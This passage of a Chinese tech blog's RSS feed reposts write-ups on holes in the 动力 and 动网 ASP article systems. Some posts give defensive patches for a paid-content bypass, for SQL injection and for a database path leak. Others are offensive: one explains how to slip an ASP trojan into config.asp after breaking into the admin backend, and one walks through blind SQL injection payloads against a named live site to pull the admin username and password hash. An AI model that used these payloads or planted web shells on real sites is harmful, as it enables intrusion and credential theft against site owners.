/>&lt;%=replace(rs(&quot;Content&quot;),chr(34),&quot;&quot;)%&gt;<br />替换为:<br />&lt;%call ShowArticleContent()%&gt;<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp; 好了,大功告成!这样的话,除非是点数足够(或有效期未过期)的收费用户,否则是不能打印此文章全文的!快测试看看吧!此修改方法在我自己的网站上()测试,没有任何副作用!(如果有人发现新的动力漏洞或发现我的修改方法有错误,希望能够告诉我(可以加我QQ,验证信息就填&quot;动力漏洞&quot;,虽不能保证肯定能解决问题,但我会尽力的!^-^)<br />需要的话大家可以到我的网站上去测试,飞越快乐家园<br />如不想注册的话,可以用测试账号:test&nbsp;&nbsp;&nbsp; 密码：testtest<br /><br />注:此解决方法并不是我先发现的,但却是我花了半个小时,改了十余次代码、打印了几张纸而找出的!（我在编程方面是菜菜，所以得这么费周折～～～～大家别笑我哦～～^－^）<br /><br />这是我已修改好的文件：<br />&lt;!--#include file=&quot;Inc/syscode_article.asp&quot;--&gt;<br />&lt;%<br />const ChannelID=2<br />Const ShowRunTime=&quot;Yes&quot;<br />dim tLayout,tUser<br />PageTitle=&quot;正文&quot;<br />strFileName=&quot;Article_Show.asp&quot;<br />if ArticleId&lt;=0 then<br />FoundErr=true<br />ErrMsg=ErrMsg &amp; &quot;&lt;br&gt;&lt;li&gt;请指定文章ID&lt;/li&gt;&quot;<br />end if<br />if FoundErr=True then<br />call WriteErrMsg()<br />else<br />%&gt;<br /><br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;&lt;%=rs(&quot;Title&quot;)%&gt;&lt;/title&gt;<br />&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;<br />&lt;link xhref=&quot;STYLE.CSS&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&gt;<br />&lt;/head&gt;<br />&lt;body leftmargin=&quot;2&quot; topmargin=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; oncontextmenu=&quot;return false&quot; ondragstart=&quot;return false&quot; onselectstart =&quot;return false&quot; onselect=&quot;document.selection.empty()&quot; oncopy=&quot;document.selection.empty()&quot; onbeforecopy=&quot;return false&quot; onmouseup=&quot;document.selection.empty()&quot;&gt;<br />&lt;noscript&gt;&lt;iframe xsrc=*&gt;&lt;/iframe&gt;&lt;/noscript&gt;<br />&lt;table width=&quot;99%&quot; border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; bgcolor=&quot;#FFFFFF&quot; class=&quot;border&quot; style=&quot;word-break:break-all&quot;&gt;<br />&nbsp; &lt;tr&gt;<br />&nbsp;&nbsp;&nbsp; &lt;td&gt; &lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;4&quot; cellpadding=&quot;1&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt;&lt;table width=100% border=0 cellpadding=0 cellspacing=0 class=&quot;title&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width=2% height=&quot;20&quot;&gt; &lt;div align=&quot;center&quot;&gt;&amp;nbsp;&lt;img xsrc=&quot;Images/ARROW2.GIF&quot; width=&quot;6&quot; height=&quot;7&quot; align=&quot;absmiddle&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width=87%&gt;您要打印的文件是：&lt;font color=&quot;#CC0000&quot;&gt;&lt;%=rs(&quot;Title&quot;)%&gt;&lt;/font&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td width=&quot;11%&quot; align=right&gt;&lt;div align=&quot;center&quot;&gt;&lt;a xhref=&quot;javascript:window.print()&quot;&gt;&lt;img xsrc=Images/printpage.gif alt=&quot;打印&quot; width=&quot;16&quot; height=&quot;16&quot; border=&quot;0&quot; align=absmiddle&gt;&lt;/a&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;a xhref=javascript:window.print()&gt;打印本文&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/table&gt;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/table&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;p align=&quot;center&quot;&gt;&lt;strong&gt;&lt;font size=&quot;4&quot; face=&quot;黑体&quot;&gt;&lt;%=rs(&quot;Title&quot;)%&gt;&lt;/font&gt;&lt;/strong&gt;&lt; /p&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;p align=&quot;center&quot;&gt;&lt;strong&gt;&lt;font size=&quot;2&quot;&gt;&lt;%=rs(&quot;Title1&quot;)%&gt;&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;br&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 作者：&lt;%=rs(&quot;Author&quot;)%&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;转贴自： &lt;%=rs(&quot;CopyFrom&quot;)%&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;点击数： &lt;%=rs(&quot;Hits&quot;)%&gt;&lt;/p&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;table width=&quot;98%&quot; border=&quot;0&quot; align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td background=&quot;images/bj4.gif&quot; height=&quot;1&quot;&gt;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/table&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;br&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;table width=&quot;100%&quot; border=&quot;0&quot; cellspacing=&quot;6&quot; cellpadding=&quot;4&quot;&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;td&gt;&lt;%call ShowArticleContent()%&gt;&lt;/td&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/tr&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/table&gt;&lt;/td&gt;<br />&nbsp; &lt;/tr&gt;<br />&lt;/table&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br />&lt;%<br />end if<br />rs.close<br />set rs=nothing<br />call CloseConn<br />%&gt; <br /><br /><br />突破动力文章上传asp的限制<br />在入侵动力文章<br />在入侵动力文章系统，成功进入后台后，也许你会发现，它的后台没有上传ASP的功能，因为动力文章系统的文件过滤是直接写在代码里的。我介绍一种突破这种限制的方法。虽然它禁止了上传ASP，但是我们可以直接写代码啊！<br />推荐版权信息输入框，框框大比较好写一点^_^。注意，动力文章系统是将这里写入的代码以字符串的形式写道Config.asp里的，所以我们直接复制 ASP木马的代码是行不通的。我们需要修改一下代码，使其符合ASP语法就可以了。注意：这种方法只有一次，写入后config.asp就会改变，整个动力文章系统就不能访问了。所以你最好先在自己的电脑里试好了再到网上用。<br />如果你不会ASP的话，只有用现成的改了。听一个朋友说用海洋3.1 写入插件改挺容易，只要把前后的&lt;%&nbsp; %&gt;去掉，再在前后加上个双引号就行了。写入成功后，在浏览器里输入inc/config.asp? alien=1就可以得到一个可写入文件的ASP页面了。<br /><br /><br /><br />动力3.51管理系统漏洞&ldquo;填补&rdquo;方法!<br />动力3.51管理系统最新可破解收费漏洞&ldquo;填补&rdquo;方法!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 作者：科技创造自由(真名：康健)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; QQ:330950407 MSN:htlaeh@hotmail.com<br /><br />&nbsp;&nbsp;&nbsp; 今天在动易(原动力)文章管理系统的服务论坛(动易论坛)浏览帖子,忽然看到一篇贴子说动力3.51网站管理系统有漏洞!这个漏洞导致任何会员都可以查看网站力任何收费内容!为此,我研究了一宿,终于找出了漏洞的填堵方法!<br /><br />&nbsp;&nbsp;&nbsp; 一、收费文章利用&ldquo;告诉好友&rdquo;功能破解漏洞填堵<br />打开动力3.51目录里的sendmail.asp文件（修改前请备份),查找以下代码(在文件最后面,一般是在第155行一直到完：<br />mailbody=mailbody &amp;&quot;--&amp;nbsp;&amp;nbsp;发布时间：&quot;&amp;rs(&quot;UpdateTime&quot;)&amp;&quot;&lt;br&gt;&lt;br&gt;&quot;<br />mailbody=mailbody &amp;&quot;--&amp;nbsp;&amp;nbsp;&quot;&amp;rs(&quot;title&quot;)&amp;&quot;&lt;br&gt;&quot;<br />mailbody=mailbody &amp;&quot;&quot;&amp;rs(&quot;content&quot;)&amp;&quot;&quot;<br />mailbody=mailbody &amp;&quot;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&quot;<br /><br />mailbody=mailbody &amp;&quot;&lt;center&gt;&lt;a xhref='&quot; &amp; SiteUrl &amp; &quot;'&gt;&quot; &amp; SiteName &amp; &quot;&lt;/a&gt;&quot;<br /><br />end sub<br /><br />%&gt;<br />替换为：<br />mailbody=mailbody &amp;&quot;--&amp;nbsp;&amp;nbsp;发布时间：&quot;&amp;rs(&quot;UpdateTime&quot;)&amp;&quot;&lt;br&gt;&quot;<br />mailbody=mailbody &amp;&quot;--&amp;nbsp;&amp;nbsp;文章题目：&quot;&amp;rs(&quot;title&quot;)&amp;&quot;&lt;br&gt;&quot;<br />mailbody=mailbody &amp;&quot;--&amp;nbsp;&amp;nbsp;文章地址(请复制到IE地址栏打开,如不能访问请在Article_Show后加1或2或3, 或者联系您的朋友!)：http://free.ptidc.com/flyue/Article_Show.asp?ArticleID=&quot; &amp; ArticleID &amp; &quot;&lt;br&gt;&lt;br&gt;&quot;<br />&nbsp;&nbsp;&nbsp; mailbody=mailbody &amp;&quot;--&amp;nbsp;&amp;nbsp;&quot;&amp; SiteName &amp;&quot;&lt;br&gt;&quot;<br />mailbody=mailbody &amp;&quot;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&quot;<br /><br /><br />end sub<br /><br />%&gt;<br />其中http://free.ptidc.com/flyue/ 须改为你的动力3.51管理系统的index.asp文件所在的地址.例如你的网站访问地址为：index.asp,则应将上面代码里的http: //free.ptidc.com/flyue/更改为(前后不要加其他字符!)<br /><br />&nbsp;&nbsp;&nbsp; 因为这样修改之后&quot;告诉好友&quot;时发给好友的邮件里只有文章地址而无文章内容,所以解决了非收费会员可以利用&quot;告诉好友&quot;发收费文章给自己的邮箱然后在邮箱里查看收费文章完整内容的漏洞,但因此也留下了副作用:普通会员发普通文章或收费会员发普通/收费文章给好友,全部都只能显示文章地址,并且用这个地址访问文章时不一定会使用这篇文章该用的模板, 而是使用一个相同的模板!本人认为这个副作用关系并不大,有时还有好处哩!^-^,因为本来使用&quot;告诉好友&quot;这个功能的人就不怎么多,而且修改成现在这样后,收到邮件的好友不能直接在邮箱里看文章而是得访问网站才能看,这样岂不是可以增加我们网站的访问量么^-^<br /><br /><br />&nbsp;&nbsp; 二、收费文章破解漏洞填堵<br />&nbsp;&nbsp;&nbsp; 打开动力3.51目录里的User_ArticleShow.asp文件(修改前请备份!),查找下面的代码：<br />&lt;%=rs(&quot;Content&quot;)%&gt;<br />替换为：<br />&lt;%<br />&nbsp;&nbsp;&nbsp;&nbsp; if PurviewChecked=True then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;&lt;font&gt;&quot;&amp;rs(&quot;Content&quot;)&amp;&quot;&lt;/font&gt;&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp; else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;&lt;font color=red&gt;&lt;strong&gt;您没有权限查看此软件下载地址!!&lt;/strong&gt;&lt;/font&gt;&quot;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end if<br />&nbsp;&nbsp;&nbsp; %&gt;&nbsp; <br />然后保存文件,上传到网上就可以!<br />&nbsp;&nbsp; 三、收费软件下载破解漏洞填堵<br />&nbsp;&nbsp;&nbsp; 打开动力3.51目录里的User_SoftShow.asp文件(修改前请备份!)，查找下列代码(如用编辑器查找不着请手动查找,一般在第226行!)：<br />response.write &quot;下载地址一：&amp;nbsp;&lt;a xhref='&quot; &amp; rs(&quot;DownloadUrl1&quot;) &amp; &quot;' target='_blank'&gt;&quot; &amp; rs(&quot;DownloadUrl1&quot;) &amp; &quot;&lt;/a&gt;&lt;br&gt;&quot;<br />接着是不是看到了：<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;下载地址一：&amp;nbsp;&lt;a xhref='&quot; &amp; rs(&quot;DownloadUrl1&quot;) &amp; &quot;' target='_blank'&gt;&quot; &amp; rs(&quot;DownloadUrl1&quot;) &amp; &quot;&lt;/a&gt;&lt;br&gt;&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;下载地址二：&amp;nbsp;&lt;a xhref='&quot; &amp; rs(&quot;DownloadUrl2&quot;) &amp; &quot;' target='_blank'&gt;&quot; &amp; rs(&quot;DownloadUrl2&quot;) &amp; &quot;&lt;/a&gt;&lt;br&gt;&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;下载地址三：&amp;nbsp;&lt;a xhref='&quot; &amp; rs(&quot;DownloadUrl3&quot;) &amp; &quot;' target='_blank'&gt;&quot; &amp; rs(&quot;DownloadUrl3&quot;) &amp; &quot;&lt;/a&gt;&lt;br&gt;&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;下载地址四：&amp;nbsp;&lt;a xhref='&quot; &amp; rs(&quot;DownloadUrl4&quot;) &amp; &quot;' target='_blank'&gt;&quot; &amp; rs(&quot;DownloadUrl4&quot;) &amp; &quot;&lt;/a&gt;&quot;<br />呢？把它们全部选中吧！^-^<br />选中之后,将它们替换为下列内容：<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if PurviewChecked=True then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;下载地址一：&amp;nbsp;&lt;a xhref='&quot; &amp; rs(&quot;DownloadUrl1&quot;) &amp; &quot;' target='_blank'&gt;&quot; &amp; rs(&quot;DownloadUrl1&quot;) &amp; &quot;&lt;/a&gt;&lt;br&gt;&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;下载地址二：&amp;nbsp;&lt;a xhref='&quot; &amp; rs(&quot;DownloadUrl2&quot;) &amp; &quot;' target='_blank'&gt;&quot; &amp; rs(&quot;DownloadUrl2&quot;) &amp; &quot;&lt;/a&gt;&lt;br&gt;&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;下载地址三：&amp;nbsp;&lt;a xhref='&quot; &amp; rs(&quot;DownloadUrl3&quot;) &amp; &quot;' target='_blank'&gt;&quot; &amp; rs(&quot;DownloadUrl3&quot;) &amp; &quot;&lt;/a&gt;&lt;br&gt;&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;下载地址四：&amp;nbsp;&lt;a xhref='&quot; &amp; rs(&quot;DownloadUrl4&quot;) &amp; &quot;' target='_blank'&gt;&quot; &amp; rs(&quot;DownloadUrl4&quot;) &amp; &quot;&lt;/a&gt;&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write &quot;&lt;font color=red&gt;&lt;strong&gt;您没有权限查看此软件下载地址!!&lt;/strong&gt;&lt;/font&gt;&quot;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end if<br /><br />然后保存文件&gt;&gt;上传到网上去就OK了!<br /><br />&nbsp;&nbsp;&nbsp;&nbsp; 看出修改前和修改后代码的区别了吗?呵呵,其实只是假如了if判断语句,先判断访问页面的会员是否有查看此软件下载地址的权限,如果是网站管理员或此软件的添加者,则显示软件下载地址,如果不是,则显示红字:&quot;您没有权限查看此软件下载地址!!&quot;,这样的话,那些想通过漏洞偷看收费软件下载地址的人就只能看到红字&quot;您没有权限查看此软件下载地址!!&quot;啦!^-^<br /><br />我的网站 飞越快乐家园 已经按上面修改过并测试成功啦!有兴趣的可以到我的网站上去测试!<br /><br /><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%258A%25A8%25E5%258A%259B%25E6%2596%2587%25E7%25AB%25A0" rel="tag">动力文章</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1753</link>
<title><![CDATA[转帖：My 动力系统整站程序的两个漏洞]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Thu, 27 Mar 2008 17:38:31 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1753</guid> 
<description>
<![CDATA[ 
	 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;漏洞类别：SQL注入漏洞 <br />影响版本：MY动力3.5X，包括ACCESS版和SQL版 <br />危险等级：高 <br />漏洞表现：MY动力系统中的Announce.asp文件存在着SQL注入漏洞，使得有经验的攻击者可通过SQL注入来获得管理员密码（被MD5加密过的）等一切他想要的资料。但不能进行删除数据等操作。但这已经相当危险了，与数据库被下载同样危险。 <br />漏洞原因： <br />引起此漏洞的代码为Announce.asp中的第10、11行： <br />ChannelID=Trim(request(&quot;ChannelID&quot;)) <br />sqlAnnounce=&quot;select * from Announce where IsSelected=1 and (ChannelID=0 or ChannelID=&quot; &amp; ChannelID &amp; &quot;)&quot; <br />在这里没有对ChannelID进行过滤，就直接放入查询语句中了。 <br /> <br />解决方法： <br />修改第10行：ChannelID=Trim(request(&quot;ChannelID&quot;)) <br />改为：ChannelID=Clng(Trim(request(&quot;ChannelID&quot;))) <br /> <br />MY动力、动力文章ACCESS版的所有版本都存在着一个重大安全漏洞！包括目前的官方网站。请所有动力ACCESS版的用户立即进行修复此漏洞。 <br /> <br />&nbsp;漏洞表现： <br />&nbsp;直接输入动力系统的conn.asp的地址，如&ldquo;http://www.asp163.net/inc/conn.asp&rdquo;，在脚本错误提示中会暴露出数据库的真实地址及文件名，从而可以下载数据库。 <br /> <br />&nbsp;修复方法： <br />&nbsp;第一步，将数据库的扩展名改为&ldquo;.asp&rdquo;或&ldquo;.asa&rdquo;，我们已经在数据库中做了防下载处理。改名后，即使有人知道了数据库的真实地址及文件名，也下载不了。 <br />&nbsp;第二步，修改conn.asp及conn_user.asp中第5行的数据库地址，将原来使用的相对地址改为使用绝对地址。如：原来这一行内容是：db=&quot;database/adsfkldfogfdslhdfsjhk.mdb&quot; ，将之改为： <br />&nbsp;db=&quot;/database/adsfkldfogfdslhdfsjhk.mdb&quot; 。即可。 <br /> <br />特别感谢曾静朋友及时通知本站漏洞，再此表示感谢。 <br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25AE%2589%25E5%2585%25A8" rel="tag">安全</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=asp" rel="tag">asp</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1752</link>
<title><![CDATA[转帖： 动网和动力文章系统打印页面SQL注入漏洞]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[安全相关]]></category>
<pubDate>Thu, 27 Mar 2008 17:32:07 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1752</guid> 
<description>
<![CDATA[ 
	<span class="b1">动网和动力文章系统打印页面SQL注入漏洞</span><p><span class="b1"><br />今天晚上没事，在网上闲逛，在华夏黑客同盟看到一个关于溢出serv-U的动画教程和文章，想把它down下来看看，于是</span></p><p><span class="b1">我找到下载页面，一看~~~~，想哭，它只给会员才可以下载的。不能吧，既然说下就一定要把他下下来。</span></p><p><span class="b1">于是我到处看看，他用的是动力的整站程序，拿出工具扫，什么都没扫到，整体上没有做太大的改动，</span></p><p><span class="b1">网上已经公布的漏洞，站长早已把它补上了。没办法，再找找别的吧，打开网站-打开一篇文章 在 地址栏中提</span></p><p><span class="b1">交 and 1=1 出现错误 看来Article_Show.asp文件已经做了过滤~接着，看到打印此文这个功能。点击，看到Article_Print.asp?Arti<br />cleID=4; <br />提交http://www.77169.com/Article_Print.asp?ArticleID=4'返回错误信息，</span></p><p><span class="b1">接着提交http://www.77169.com/Article_Print.asp?ArticleID=4;页面正常返回</span></p><p><span class="b1">再提交http://www.77169.com/Article_Print.asp?ArticleID=4 and 1=1 页面正常返回</span></p><p><span class="b1">和http://www.77169.com/Article_Print.asp?ArticleID=4 and 1=2 返回找不到该文章。看来怪狗没有没有注意到这个文件的问题哦！！<br />有了上面的条件基本上就可以断定这个页面存在SQL注入漏洞了（因为别的页面提交都返回错误信息）</span></p><p><span class="b1">下面我们就开始注入了，和别的SQL注入一样，<br />猜管理员帐号表<br />http://www.77169.com/Article_Print.asp?ArticleID=4 and exists (select * from admin)成功返回</span></p><p><span class="b1">我们再来猜他的管理员表中是否有一个ID段</span></p><p><span class="b1">http://www.77169.com/Article_Print.asp?ArticleID=4 and exists (select id from admin)</span></p><p><span class="b1">OK,页面返回正常,说明他的admin表中有个id的字段。</span></p><p><span class="b1">这里的意思是看看他的admin表中是否有username字段</span></p><p><span class="b1">页面返回正常,说明在admin中有一个username字段</span></p><p><span class="b1">我们继续猜他放密码的字段and exists (select password from admin)</span></p><p><span class="b1">返回正常的页面,说明他的admin表中有个password字段</span></p><p><span class="b1">好了,我们下面来猜他的管理员的id值and exists (select id from admin where id=1)</span></p><p><span class="b1">意思是看看他的admin表中是否有一个id=1的值</span></p><p><span class="b1">OK,返回了正常的页面,说明我们猜对了</span></p><p><span class="b1">有时候管理员的ID值不是1，那么我们可以把ID=的值换成别的，2，3，4，等等一直到页面正常返回为止。</span></p><p><span class="b1">下面我们来猜他的管理员的名字长度</span></p><p><span class="b1">and exists (select id from admin where len(username)&lt;6 and id=1)</span></p><p><span class="b1">这里我们猜他的管理员长度小于6,呵呵,返回了正常的页面,还好,名字不是太长,</span></p><p><span class="b1">我们一个个来实验好了and exists (select id from admin where len(username)=5 and id=1)</span></p><p><span class="b1">返回了正常的页面,好了用户名的长度我们已经猜出了为5</span></p><p><span class="b1">下面我们来我们的重点任务-猜帐号</span></p><p><span class="b1">用户名字段长度<br />and 1=(select min(id)from admin where len(username)&gt;5) </span></p><p><span class="b1">这是密码字段长<br />and 1=(select min(id)from admin where len(password)&lt;10) </span></p><p><span class="b1">and 1=(select min(id)from admin where mid(username,1,1)='a')</span></p><p><span class="b1">破用户名！ <br />and 1=(select id from admin where asc(mid(username,1,1))&gt;120)<br />ID=2<br />and 2=(select id from admin where id=2 and asc(mid(username,1,1))&gt;120)</span></p><p><span class="b1">把MID部分改就行！</span></p><p><span class="b1">right(user,2)表示从右边开始的两个字符。<br />left(user,2)表示从左边开始的两个字符！ </span></p><p><span class="b1">所以你先用left(user,1)='c'得到第一位，那就left(user,2)='ca' </span></p><p><span class="b1">我们再来猜他的密码的asc值</span></p><p><span class="b1"><br />and 1=(select min(id)from admin where len(password)&lt;10)返回错误<br />and 1=(select min(id)from admin where len(password)=16)正常返回页面，到这里我就有点高兴不起来了，因为很有可能管理员<br />的密码是md5加密的。</span></p><p><span class="b1">如果密码是数字的话还好办，用工具暴力破解几分钟就可以破出来，但是如果是数字加字母的呢？放心不要紧，MD5我们照样破别管那<br />些，继续破。</span></p><p><span class="b1">我快累死了，终于把管理员的用户名和密码都破出来了，用户名：admin 密码：ad901c854c52987b 。</span></p><p><span class="b1">每错，果然是MD5加密的。</span></p><p><span class="b1">有些人看到MD5加密的可能就会拿出暴力破解软件慢慢的破解，包括我自己也是这样，如果过了20分钟密码还没有出来的话，那么</span></p><p><span class="b1">我就不会用这个方法了，如果是数字的话，早就出来了，字母就难了，找个肉鸡挂上扫几天也许有结果。</span></p><p><span class="b1">当天晚上我就把这个漏洞用QQ通知了华夏站长,没想到他居然告诉我说&quot;那个admin帐号是他故意加的,没有权限&quot;</span></p><p><span class="b1">不过能有几个站长会这样做啊，(我自己的站就没有过滤,马上把打印页面del)</span></p><p><span class="b1">现在80%的动网和动力系统都存在打印页面SQL注入的漏洞,希望各站站长注意.</span></p><p><span class="b1">在看到动力系统的漏洞以后，我就想看看动网文章系统是否也存在同样的漏洞。</span></p><p><span class="b1">于是就到网上随便搜索一下，（KAO出来一大堆）随便找一个测试一下，结果让我大吃一惊。</span></p><p><span class="b1">下面是关于动网文章系统的打印页面的漏洞。</span></p><p><span class="b1">其实动网文章系统和动网和动力一样。不过动网文章系统比动力系统危险多了。</span></p><p><span class="b1">动力的密码是经过MD5加密的，而动网文章系统的密码是明文显示的。</span></p><p><span class="b1">动网文章系统存在漏洞的页面是/printpage.asp ，也是打印页面的漏洞，</span></p><p><span class="b1">入侵方法和动网和动力系统一样。</span></p><p><span class="b1">这篇文章主要是为了提醒那些网站的管理员，一定要了解自己的站。</span></p><p><span class="b1">把不要的东西，能删的全给它删了，我自己的站就是动力系统的，不过打印页面我早已经把它删了。</span></p><p><span class="b1">总的来说动力文章系统还是比较安全的，</span></p><p><span class="b1">相对的动网文章就有点危险了......</span></p><p><span class="b1">~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~︶︶~文章结束</span></p><p><span class="b1"><br 